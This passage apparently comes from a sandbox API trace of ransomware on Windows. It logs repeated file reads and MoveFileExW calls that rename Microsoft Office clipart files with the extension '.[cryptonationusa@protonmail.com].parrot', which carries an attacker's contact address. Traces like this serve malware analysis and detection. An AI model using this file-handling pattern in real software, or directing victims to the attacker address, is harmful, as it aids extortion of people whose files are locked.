lpNewFilePointer=0xffffffff) returned 1 [0129.196] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.198] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.198] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x976, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x976, lpOverlapped=0x0) returned 1 [0129.198] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.201] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.202] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.203] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.203] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8d6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8d6, lpOverlapped=0x0) returned 1 [0129.204] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.204] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.207] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.207] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.208] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.209] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8d6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8d6, lpOverlapped=0x0) returned 1 [0129.209] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.209] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.212] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.212] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.213] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.213] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b3a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b3a, lpOverlapped=0x0) returned 1 [0129.214] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.214] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.218] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.219] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.219] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1496, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1496, lpOverlapped=0x0) returned 1 [0129.220] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.220] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.226] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.226] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.227] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.227] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc18a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc18a, lpOverlapped=0x0) returned 1 [0129.230] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.231] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.235] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.235] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.245] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.245] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb96, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb96, lpOverlapped=0x0) returned 1 [0129.246] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.246] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.250] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.250] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.251] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.251] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2856, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2856, lpOverlapped=0x0) returned 1 [0129.252] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.254] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.257] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.257] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.259] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.259] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7992, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7992, lpOverlapped=0x0) returned 1 [0129.260] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.266] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.266] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.268] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.268] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2040, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2040, lpOverlapped=0x0) returned 1 [0129.269] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.269] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.272] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.272] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.274] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.274] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x73bc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x73bc, lpOverlapped=0x0) returned 1 [0129.277] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.279] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.284] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.284] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.285] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.285] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa82, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa82, lpOverlapped=0x0) returned 1 [0129.286] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.289] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.289] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.290] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.291] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb10, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb10, lpOverlapped=0x0) returned 1 [0129.291] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.291] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.294] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.294] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.296] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.296] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9456, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9456, lpOverlapped=0x0) returned 1 [0129.298] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.299] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.302] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.302] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.303] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.303] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9c5e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9c5e, lpOverlapped=0x0) returned 1 [0129.307] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.307] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.311] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.311] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.313] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.313] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x318, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x318, lpOverlapped=0x0) returned 1 [0129.313] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.314] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.316] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.316] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.318] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.318] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x44b0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x44b0, lpOverlapped=0x0) returned 1 [0129.320] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.324] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.324] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.325] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.326] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e94, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e94, lpOverlapped=0x0) returned 1 [0129.327] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.327] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.330] SetFilePointerEx (in: hFile=0x1b0, 